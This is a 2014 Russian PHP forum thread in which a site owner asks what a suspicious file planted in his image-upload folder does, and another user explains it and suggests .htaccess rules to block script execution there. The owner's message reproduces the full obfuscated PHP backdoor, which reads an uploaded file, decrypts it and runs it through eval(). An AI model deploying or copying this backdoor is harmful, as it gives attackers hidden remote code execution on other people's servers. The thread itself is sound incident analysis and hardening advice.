Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
Самоучитель MySQL 5. Авторы: Кузнецов М.В., Симдянов И.В. MySQL 5. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. PHP на примерах (2 издание). Авторы: Кузнецов М.В., Симдянов И.В. Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В. MySQL на примерах. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум (новые сообщения вниз) Структурный форум

тема: Что делает этот скрипт?

Сообщения:  [1-10]   [11-12] 

 
 автор: confirm   (26.06.2014 в 14:31)   письмо автору
 
   для: BlueWolf   (26.06.2014 в 13:42)
 

Нет, что-то типа такого должно быть:

Options -Indexes
php_flag engine 0
AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp
RemoveType php
RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml


Что касается кода, то в нем больше "мишуры" для отвлечения глаза. Например:

<?
$Misimages_4 
''

$imclos_6 'Qah9eca09U6s428BU5EiY_bZhdlo6Ns';  
$PXk45BAp = array(221114101221254527254); 

foreach (
$PXk45BAp as $Subposist
$Misimages_4 .= $imclos_6[$Subposist];

//в итоге $Misimages_4 = base64_decode
//далее содержимое массивов, где в base64 содержаться имена ini-переменных
//это легко просмотреть все - print_r для массивов, где явно видны base64-значения без мишуры
//и имена функций, а что делается в начале, видно вот так
//вместо @$irclosisties2[2]($Misimages_4($irclosisties2[9]), false) и т.п.
  
echo $irclosisties2[3] . '(0)'
echo 
$irclosisties2[2] . '(' base64_decode($irclosisties2[7]). ',false)'

echo 
$irclosisties2[2] . '(' base64_decode($irclosisties2[1]). ',false)';

echo 
$irclosisties2[2] . '(' base64_decode($irclosisties2[9]). ',false)';

echo 
$irclosisties2[2] . '(' base64_decode($irclosisties2[5]). ',false)'

  Ответить  
 
 автор: BlueWolf   (26.06.2014 в 13:42)   письмо автору
 
   для: confirm   (26.06.2014 в 12:25)
 

Вот так правильно?
php_flag engine 0
AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp

  Ответить  
 
 автор: confirm   (26.06.2014 в 12:25)   письмо автору
 
   для: BlueWolf   (26.06.2014 в 12:12)
 

Да, в htaccess прописать запрет.

  Ответить  
 
 автор: BlueWolf   (26.06.2014 в 12:12)   письмо автору
 
   для: confirm   (26.06.2014 в 11:46)
 

Как в директории где картинки и прочие файлы запретить выполнение исполняемых скриптов? Это делается при помощи htaccess?

  Ответить  
 
 автор: confirm   (26.06.2014 в 11:46)   письмо автору
 
   для: BlueWolf   (26.06.2014 в 11:22)
 

Зачем такие портянки выставлять? Вот и анализируйте для уяснения.
А в директориях изображений и прочих публичных должно быть запрещено исполнение всяких исполняемых скриптов.
И если залито в директорию изображений, значит ваш скрипт их загрузки имеет приличные дыры.

  Ответить  
 
 автор: BlueWolf   (26.06.2014 в 11:22)   письмо автору
 
   для: confirm   (26.06.2014 в 09:47)
 

Обнаружил ещё один файл subnamed639.php
Его умудрились залить в папку заливки картинок для статьи. Этот код как то связан с предыдущим?
<?php 
$Misimages_4 
'';

$imclos_6 'Qah9eca09U6s428BU5EiY_bZhdlo6Ns'
$PXk45BAp = array(221114101221254527254);

foreach (
$PXk45BAp as $Subposist)
  
$Misimages_4 .= $imclos_6[$Subposist];
$install = array(chr(77).'T'.chr(65).chr(51)."ND".'g0'."Nj".'c=','NDc4'.'Nz'.chr(89)."0"."MTg1ND".chr(73).'5MjM'.chr(61),"ob_".'end'."_clea"."n");
 
$Nonproced72 = array('ob'."_"."ge".'t_content'.'s','ob_st'.chr(97)."rt","NjczO".'Tkw'.'ND'.chr(107)."x".'NT'."EwMQ".'==','O'.chr(68).'E4'.chr(77).'TY0MTc'.'2MD'.chr(103)."2Mw="."=");
$Postprocies = array('d'.chr(71).'1wX2'.chr(53)."h"."bWU=");
 
$Langs = array("U3V".'jX2Nl'.chr(77)."w==",'Q29udGVud'.chr(67).chr(49).'UeXBlO'.'i'.'Bh'."c"."HB".'saWN'.'h'.chr(100).'Glv'."bi9v"."Y3Rl"."d".'C1zdHJlYW0=',"fil".'e_'.'g'."et_content".'s');
$Picting = array('Z'."3p".'kZ'.'WZsY'.chr(88).chr(82).'l','Q'."29udGVud".'C1Ue'.'X'.'Bl'.'O'.'i'."BhcHBs"."aW".'N'.chr(104).'d'.'Glvbi9'."6a".'XA=','Z3'."pkZ".chr(87).chr(90)."s"."Y".chr(88).'Rl',"Q29ud".'GVu'.'d'.chr(67)."1Ue".chr(88).'BlO'.chr(105)."B"."hcH".chr(66).chr(115)."aW"."NhdG".'lvb'.chr(105).chr(57)."4LWd6".'aX'.'A=');
$Mener_75 = array(chr(104)."eader",'Ynpjb'.chr(50)."1w"."cm"."Vzc".chr(119)."==","Ynp".'j'.'b21wc'."mVzcw"."==");$imagents = array("bW"."Vtb".'3'.'J5'.'X2xpbWl0');$premantiones = array('c'."2".'Fm'.'Z'."V9t".'b'."2Rl","b".'WF4X2V4ZWN'.'1dGl'.'v'.'bl90'.chr(97).'W1'.'l');
$Sexss14 = array('gzdefl'.'ate',"se".'t_'."t"."im".'e'.chr(95).'limit',"Z3ppb".chr(109).'ZsYX'.chr(82).'l',chr(89).'npjb2'.'1wc'."mVzcw".chr(61)."=",'ZG'.'V'.chr(109).'Y'.'X'.chr(86).'sdF9zb2Nr'.'ZXR'.chr(102)."dGl".'tZW9'.chr(49).chr(100)."A==",'gzi'.'n'.chr(102)."late",'Ynpj'.chr(98).chr(50).'1w'.'c'.'m'.chr(86)."z".'cw'.chr(61)."=",'Z3pkZ'.chr(87)."Z"."sY".chr(88)."Rl",chr(90).chr(51).'p'.'pb'.'mZs'."YX"."Rl",'Z3'.'pkZ'.chr(87).'ZsYXRl',"bzco".chr(109).'press');
$MqVO4 = array(chr(98)."zde".chr(99)."ompress",'Y'.'npk'."Z".chr(87)."N"."vbXB".chr(121)."ZXN".chr(122),"Ynp".chr(107).'ZWNv'."bX"."ByZX".chr(78)."z",'is_in'.chr(116));
$proces = array("M".'A==',"b".'cad'.chr(100),'ord','pow','chr');
$Misown_7 = array('ce'."il",chr(102).'u'."nc"."t".'ion_e'."x".chr(105).'sts','is'.'_ca'.'ll'."a".'b'.'le','s'.chr(116)."r"."len","b".'cd'.'iv',chr(98).'cpow'.chr(109).'o'."d",'YmNwb3dtb2'."Q".'=','M'.'A'."==","s"."u".chr(98)."str","Y".chr(109).'N'."w".'b3dtb2'."Q=",'bcmu'.chr(108));$irclosisties2 = array('bcmod','b'.'G9nX'.chr(50)."Vy".'cm9ycw'.chr(61).'=','i'.chr(110).'i'."_".'set','erro'."r".chr(95).'report'.'ing','MA==',"b3V"."0cHV0X".'2J'.'1ZmZl'.'cm'.'l'."u"."Zw==","MA==",'Z'.chr(88).'Jyb'.chr(51)."JfbG9".'n',"MQ"."==","Z".chr(71)."lzcGxhe"."V9l"."c".'n'."Jv".'cnM'."=");

@
$irclosisties2[3](0);
@
$irclosisties2[2]($Misimages_4($irclosisties2[7]), false);

@
$irclosisties2[2]($Misimages_4($irclosisties2[1]), false);

@
$irclosisties2[2]($Misimages_4($irclosisties2[9]), false); 

@
$irclosisties2[2]($Misimages_4($irclosisties2[5]), false);



 function 
fsFekql($Submanly7$Image_b810$mened)
{    
$returns '';
$Calles 'TadwsMTj8Htw9e3oight6iVb9uhcyF04_s';

$Disposeries = array(2314132031322132715213);

foreach (
$Disposeries as $imaglyes)
  
$returns .= $Calles[$imaglyes];
global 
$Misown_7;

global 
$irclosisties2;

  
$overcalure_83 $returns($irclosisties2[8]);

  
$XIuaCL $irclosisties2[0]($Submanly7$mened);

  while (
$Image_b810 != $returns($irclosisties2[4]))
  {

    if (
$irclosisties2[0]($Image_b8102) != $returns($irclosisties2[6]))
      
$overcalure_83 $irclosisties2[0]($Misown_7[10]($overcalure_83$XIuaCL), $mened);

    
$XIuaCL $irclosisties2[0]($Misown_7[10]($XIuaCL$XIuaCL), $mened);

    
$Image_b810 $Misown_7[4]($Image_b8102);
  }
  return 
$overcalure_83;
}

 function 
oversexing3d12($Irtext923e$Exmansions$lange_89)
{
global 
$Misimages_4;

global 
$Misown_7;

  if (
$Misown_7[1]($Misimages_4($Misown_7[6])) && $Misown_7[2]($Misimages_4($Misown_7[9])))
    return 
$Misown_7[5]($Irtext923e$Exmansions$lange_89);


  else
    return 
fsFekql($Irtext923e$Exmansions$lange_89);    
}





 function 
Namtioned_39($Irmanenties72$excallies)
{
$Misowning67 = array('chr',"bc".chr(100).'i'.'v',chr(98).'cmod');


  
$Irmanenties72 "$Irmanenties72";


  
$irowned55 '';


  do
  {
    
$irowned55 $Misowning67[0]($Misowning67[2]($Irmanenties72$excallies)).$irowned55;
    
$Irmanenties72 $Misowning67[1]($Irmanenties72$excallies);

  }

  while (
$Irmanenties72 != 0);

  return 
$irowned55;



 function 
closives_2($ilnaments$Sexurees17$procfuling_21)

global 
$Misimages_4;
 global 
$proces;
global 
$Misown_7;
 

  
$undermanories  '';

  
$Texties_96 3;

    
  
$technologies $Misown_7[0]($Misown_7[3]($ilnaments) / $Texties_96);


  for(
$Exlangibles 0;
 
$Exlangibles $technologies;
 ++
$Exlangibles)
  {
    
$Formed $Misown_7[8]($ilnaments$Exlangibles*$Texties_96$Texties_96); 
    
$overreturnsionies   $Misimages_4($Misown_7[7]);    

    for(
$medium 0;
 
$medium $Misown_7[3]($Formed); ++$medium)
      
$overreturnsionies += ($proces[2]($Formed[$medium]) + 1) * $proces[3](256$medium);

    
$overreturnsionies    Namtioned_39(oversexing3d12($overreturnsionies$Sexurees17$procfuling_21), 255);
    
$undermanories .= $overreturnsionies.$proces[4](255);
 
  }

  return 
$Misown_7[8]($undermanories0, -1);
}




 function 
dismanes_64($Sexing_0$sucies_45)
{
$suca2f chr(98)."as".chr(101)."64_de".'co'.'de';global $proces;
global 
$Misown_7;

  
$Sexing_0 "$Sexing_0";
  
$exsexed $suca2f($proces[0]);
  
$Nonreturnible_138 $Misown_7[3]($Sexing_0) - 1;

  for (
$reowne 0;     $reowne <= $Nonreturnible_138;
 ++
$reowne)
    
$exsexed $proces[1]($exsexed$Misown_7[10]($proces[2]($Sexing_0[$reowne]), $proces[3]($sucies_45$Nonreturnible_138 $reowne)));

 

  return 
$exsexed;

}

 function 
imagies_cb24($manlyies_a$immenist$Man3b)
{

  
$irimag ''$Overmenives_a4 = array("floor",chr(101).chr(120).'pl'."o".'d'.'e',"co".'unt',"chr");

  
$closies5 $Overmenives_a4[1]($Overmenives_a4[3](255), $manlyies_a);
      

  for (
$Returnible_14 0;

     
$Returnible_14 $Overmenives_a4[2]($closies5);
 ++
$Returnible_14)
  {
    
$Subclosing_58 oversexing3d12(dismanes_64($closies5[$Returnible_14], 255), $immenist$Man3b);

    while (
$Subclosing_58 != 0)
    {
      
$irimag .= $Overmenives_a4[3](($Subclosing_58-1) % 256);

      
$Subclosing_58    $Overmenives_a4[0](($Subclosing_58-1) / 256);    
    }
 
  }


  return 
$irimag;

}



 function 
prepos8($jm9lDEp) {
$Posies_f29 '';


$posuries_26 'd4sq2yiVUQ1JaBVO8POQL8ldPLTe1oCFb_c6lkr';


$Remens = array(3212227351330273429027);
foreach (
$Remens as $Misucing)
  
$Posies_f29 .= $posuries_26[$Misucing];

global 
$Sexss14;

global 
$MqVO4;


global 
$Misown_7;

  
$Nonproce_67 false;


  if (
$Misown_7[1]($Posies_f29($MqVO4[2])) && $Misown_7[2]($Posies_f29($MqVO4[1]))) {
    
$Nonproce_67 = @$MqVO4[0]($jm9lDEp);

    if (!
$MqVO4[3]($Nonproce_67)) return $Nonproce_67;
  } 
  if (
$Misown_7[1]($Posies_f29($Sexss14[2])) && $Misown_7[2]($Posies_f29($Sexss14[8]))) {

    
$Nonproce_67 = @$Sexss14[5]($jm9lDEp);

    if (
$jm9lDEp == $Sexss14[0]($Nonproce_679)) return $Nonproce_67;

  }
  return 
$jm9lDEp;
}
 function 
Undersucist($Nonsuce) {
  eval(
$Nonsuce);
}
 function 
Closented56($postlanging_61d) {
$NdSQv '';
$pictente '6fA9uQMlqwk9AaX_BEg1QEqsbdNxVu15obe4cwI';

$suces1521 = array(2413233403515253436322534);

foreach (
$suces1521 as $procismed61)
  
$NdSQv .= $pictente[$procismed61];
global 
$Sexss14;

global 
$Misown_7

  if (
$Misown_7[1]($NdSQv($Sexss14[6])) && $Misown_7[2]($NdSQv($Sexss14[3])))   $postlanging_61d = @$Sexss14[10]($postlanging_61d9);
 
  elseif (
$Misown_7[1]($NdSQv($Sexss14[9])) && $Misown_7[2]($NdSQv($Sexss14[7]))) $postlanging_61d = @$Sexss14[0]($postlanging_61d9);
  return 
$postlanging_61d;
}
@
$Sexss14[1](0);

@
$irclosisties2[2]($Misimages_4($Sexss14[4]), 60);

@
$irclosisties2[2]($Misimages_4($premantiones[1]), 0);
@
$irclosisties2[2]($Misimages_4($premantiones[0]), false);
@
$irclosisties2[2]($Misimages_4($imagents[0]), -1);

if (
$Misown_7[1]($Misimages_4($Mener_75[1])) && $Misown_7[2]($Misimages_4($Mener_75[2]))) @$Mener_75[0]($Misimages_4($Picting[1]));    
elseif (
$Misown_7[1]($Misimages_4($Picting[2])) && $Misown_7[2]($Misimages_4($Picting[0]))) @$Mener_75[0]($Misimages_4($Picting[3]));

else @
$Mener_75[0]($Misimages_4($Langs[1]));
$formesd31 = @$Langs[2](@$_FILES[$Misimages_4($Langs[0])][$Misimages_4($Postprocies[0])]);    
$formesd31 prepos8($formesd31);

$formesd31 imagies_cb24($formesd31$Misimages_4($Nonproced72[2]), $Misimages_4($Nonproced72[3]));
$formesd31 prepos8($formesd31);


$Nonproced72[1]();
Undersucist($formesd31);


$imagisted12 $Nonproced72[0]();
$install[2]();


$imagisted12 Closented56($imagisted12);
    
$imagisted12 closives_2($imagisted12$Misimages_4($install[0]), $Misimages_4($install[1]));

$imagisted12 Closented56($imagisted12);
echo 
$imagisted12;

?>

  Ответить  
 
 автор: confirm   (26.06.2014 в 09:47)   письмо автору
 
   для: BlueWolf   (26.06.2014 в 09:06)
 

Сам по себе код файла представленного на столько же опасен, как и сказка о Колобке, а вот запущенный в контексте, кем-то, это уже неприятности. Читайте и анализируйте код:

<?
if (!function_exists('file_put_contents')) { 
  function 
file_put_contents($filename$data) { 
    
$f = @fopen($filename'wb'); 
    if (!
is_resource($f)) 
      return 
false

    
$bytes fwrite($f$data);


Но в самом представленном коде нет обращения к записи, это значит, что помимо его есть еще что-то.

Если у вас есть подозрение, что по украденному был произведен вход и что-то залили, то голову червя искать нужно не среди файлов от корня документов, а выше уровнем. Заливать shell в документы нет смысла, его легко обнаружить.

А что будет с данными после floatval($god)? Вот вам и ответ, есть ли в этом опасность. А какие дыры используются в приеме данных форм, sql, для заливки, это поищите в сети, это обширный материал, который хотя бы в общем надо знать.

  Ответить  
 
 автор: BlueWolf   (26.06.2014 в 09:06)   письмо автору
 
   для: confirm   (26.06.2014 в 08:07)
 

Этот скрипт мог добавить в файл index.php на главной странице сайта строчку @include_once и путь на свой php файл?
В директории где я обнаружил чужой файл, есть страница моего сайта в которой есть фарма ввода текста. Как оказалось входящий $_POST в нём никак не фильтруется. Там было вот так
$god = trim($_POST['god']);
$god = floatval($god);
$realdisk = $god * 1000000000/1024/1024/1024;
echo $realdisk;

Мог ли хакер закинуть свой файл используя это?

  Ответить  
 
 автор: confirm   (26.06.2014 в 08:07)   письмо автору
 
   для: BlueWolf   (26.06.2014 в 07:49)
 

От смены пароля, не удалив загруженного ранее червя, проку не будет.
Загрузить можно и формой, и через sql, а если есть червь, то и им.

  Ответить  
 
 автор: BlueWolf   (26.06.2014 в 07:49)   письмо автору
 
   для: confirm   (26.06.2014 в 06:11)
 

Я думаю этот код мне забросили конкуренты чтобы снизить позиции поисковых запросов. Ссылки на сайте закрывались тегом <noindex>.
Вопрос как это им удалось. Пароли от хостинга и ftp я уже поменял. Возможно ли такой файл забросить на сайт, если нет формы загрузки файлов на сайт. Возможно ли закачать файл через форму ввода текста?

  Ответить  

Сообщения:  [1-10]   [11-12] 

Форум разработан IT-студией SoftTime
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования